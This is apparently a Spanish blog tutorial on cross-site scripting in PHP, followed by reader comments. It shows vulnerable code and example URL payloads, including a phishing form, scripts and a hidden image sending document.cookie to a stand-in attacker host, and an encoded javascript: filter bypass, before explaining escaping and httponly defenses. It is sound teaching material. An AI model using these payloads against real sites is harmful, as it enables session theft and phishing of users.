El Cross-Site Scripting, abreviado como XSS, para no confundirlo con las hojas de estilo, es un tipo de vulnerabilidad que puede darse en cualquier aplicación web en la que se muestre en pantalla cualquier tipo de datos sobre los que el usuario tenga influencia directa. Como es de suponer, esto abarca a gran porcentaje de sitios web.
Cross-Site Scripting, el problema
Veamos un pequeño ejemplo. Supongamos que escribimos un sencillo script en PHP que no hace más que mostrar el valor de una variable mensaje
pasada por GET. Algo tan sencillo como esto:
<?php echo $_GET['mensaje']; ?>
Como no tratamos la entrada del usuario de ninguna forma, dejamos la puerta abierta a que se muestre cualquier tipo de código HTML en nuestra página, incluido, por ejemplo, un formulario de login falso, o un iframe con un formulario falso:
http://localhost/index.php?mensaje=<form action="http://atacante.com/captura.php">Usuario: <input type="text" name="usuario"/><br/>Contraseña: <input type="text" name="pass"/></form>
un script que use document.location
para hacer que el usuario ejecute un archivo PHP de la web del atacante, pasándole las cookies:
http://localhost/index.php?mensaje=<script>document.location='http://atacante.com/captura.php?cookies='+document.cookie</script>
o una imagen transparente de 1×1 del servidor del atacante, pasándole a la URL el valor de las cookies, lo cuál sería bastante difícil de detectar, a menos que el usuario se fijara en el código:
http://localhost/mensajes.php?mensaje=<script>document.write("<img widht='0' height='0' src='http://atacante.com/img.png?valores="+document.cookie'>")</script>
El tipo de vulnerabilidad XSS que sufre nuestra pequeña página de ejemplo se conoce como «XSS no persistente», porque no se modifica la web original. El atacante debe conseguir que un usuario de la web haga clic sobre uno de sus enlaces especialmente formados, por ejemplo, ocultándolo con un acortador de URLs.
Las vulnerabilidades de XSS persistente son mucho más peligrosas. Esta se da cuando se almacenan los datos introducidos por los usuarios, en una base de datos, por ejemplo, y estos, a su vez, se muestran a otros usuarios. Esto sucede, por ejemplo, en blogs y foros con los comentarios y las respuestas de los hilos. En estos casos bastaría con que el usuario visitara la página vulnerable para que se ejecutara el código del atacante.
Cross-Site Scripting, la solución
La solución pasa por filtrar todos los datos que mostremos en la aplicación y que procedan del usuario, no sólo datos introducidos en un formulario o parámetros en la URL, sino también cosas como cabeceras HTTP o cookies. En PHP podemos utilizar para esto la función htmlspecialchars
, que convierte los caracteres ", <, > y & a las entidades HTML correspondientes.
En contadas ocasiones también puede interesarnos pasar como segundo parámetro a la función la constante ENT_QUOTES
, para sustituir las comillas simples (') además de los caracteres anteriores. En el siguiente código, por ejemplo, al haber utilizado comillas simples para encerrar el valor del atributo, tendríamos que convertir estos caracteres para que el usuario no pudiera salir de este contexto:
<?php $aspecto = $_GET['aspecto']; echo "<div class='{$aspecto}'>...</div>"; ?>
También es importante especificar el juego de caracteres del documento, bien a través de la etiqueta meta
, o bien usando la cabecera HTTP correspondiente. De otra forma el atacante podría utilizar texto en UTF-7, que codifica los símbolos < y >, entre otros, con lo que htmlspecialchars
no los reemplazaría. Bastaría entonces engañar al navegador para hacerle pensar que UTF-7 es la verdadera codificación del archivo, por ejemplo con un iframe con texto UTF-7, para que se lanzara el ataque.
Por último hay muchos casos en los que htmlspecialchars
no nos será de ninguna utilidad, y donde será necesario estar muy atentos y aplicar el sentido común. Un ejemplo son los atributos donde se puede utilizar la directiva javascript
:
<?php $enlace = $_GET['enlace']; // Peligro: index.php?enlace=javascript:alert(document.cookie) echo "<a href='{$enlace}'>Enlace</a>"; ?>
En estas situaciones tampoco bastaría con filtrar el texto «javascript:» ya que la cadena se puede manipular de distintas formas para burlar el filtrado. Se podría utilizar, por ejemplo, los caracteres de la codificación de URLs, sustituyendo la j por %6A:
http://localhost/pagina.php?enlace=%6Aavascript:alert(document.cookie)
También existen técnicas mucho menos conocidas, como el uso de la etiqueta y el atributo style
mediante la propiedad expression
de IE, o la palabra reservada url
.
Para todos estos casos menos comunes lo mejor es no intentar reinventar la rueda y utilizar una librería especialmente pensada para lidiar con vulnerabilidades de XSS, como HTML Purifier.
Por último, una forma de mitigar hasta cierto punto las posibles vulnerabilidades XSS que podamos haber pasado por alto sería poner la opción session.cookie_httponly
a true
en php.ini, de forma que al crear las cookies se añada por defecto este flag, que indica a los navegadores que lo soportan que no se debe permitir el acceso a las cookies a través de scripting.
Buen aporte !
Resumidamente, pero bien hecho.
buen articulo como introducción! Gracias!
Muy interesante. Había leído algo por el NoScript, pero no lo había entendido bien.
Muy útil la información.
«Corta pero sustanciosa» XD
Gracias
«session.cookie_httponly»
No conocía este método; tengo que estudiarme un poco el «php.ini» 😛
Muy buen artículo, si señor.
hay muchos sitios con vulnerabilidades XSS..
por favor, es sólo un pedacito de código!!!
Hey! cuando lo vi en wikipedia hace tiempo no entendia nada.
Ahora ya se de que hablas.
XSS no persistente lo hay en prácticamente todas las páginas y en muchos CMS actuales, a pesar de su fácil solución (en la mayoría de los casos)
Y lo peor es que no se le da mucha importancia a pesar de que con un poco de imaginación y combinándolo con otros ataques se pueden hacer cosas mucho más complejas que un simple stealer de cookies.
Ahora que me acuerdo tengo que enviar un mail a los de BitWeaver que hace ya bastante tengo unos cuantos XSS en su ultima versión. xD
¿Te dedicas a la seguridad o es por afición?
Tengo 15 años, por lo tanto es afición xD
¿Por ahora? 😉
Desde luego, me gustaría sacarme un PhD. en Ingeniería Informática y dedicarme a ella aunque aun no sé a qué rama en concreto.
Pero bueno, aun quedan años y primero tengo que sacar la ESO xDDDDD
para sacarse un doctorado primero hay que sacarse una ingenieria/carrera afin.. maestria.. años de experiencia y trabajos de ascenso y hacer muchas invesgigaciones asi que pensa primero en sacarte el bachillerato jajaja sin mala onda =)
Claro, bachiller, carrera, master y PhD.
Por eso dije que quedan muchos años, pero desde luego es lo que pienso hacer.
¿Tú cómo vas en la Uni? Debes de llevar ya 2 o 3 años..
Pingback: Resumen Semanal March 14th | Chasing Amy
Pingback: Cross-Site Scripting | adicto web internet
tambien se podria pasar la variable por htmlentities()..
muchas cosas se pueden hacer con xss , de atacar al webmaster o a los visitantes..
tambien ahi bastante info de como se puede «bypassear…
me encantan estos temas 😎 jaja
saludos
También. Aunque el rendimiento será ligeramente menor, al tener que sustituir más caracteres.
Encontre un articulo donde detallan los ataques a los que hay que tener cuidado al programar con php, creo que es bueno mirarlo.
Gracias por el enlace Angelverde. Habrá que echarle un vistazo 🙂
Pingback: Local y remote file inclusion en PHP
alert(‘hola’);
necesito entregar un trabajo de xss, alguin puede ser un poco mas extenso en la explicacion
un ejemplo necesitaria de un xss
muchas gracias
http://localhost/index.php?mensaje=document.location='http://atacante.com/captura.php?cookies='+document.cookie
http://localhost/index.php?mensaje=Usuario: Contraseña:
«/>alert(«Hola Perro»); «
Exelente me ayudo a aclarar mis dudas de los XSS.
Gracias! un buen articulo! me aydo mucho!! Totalmente agradecido con este blog!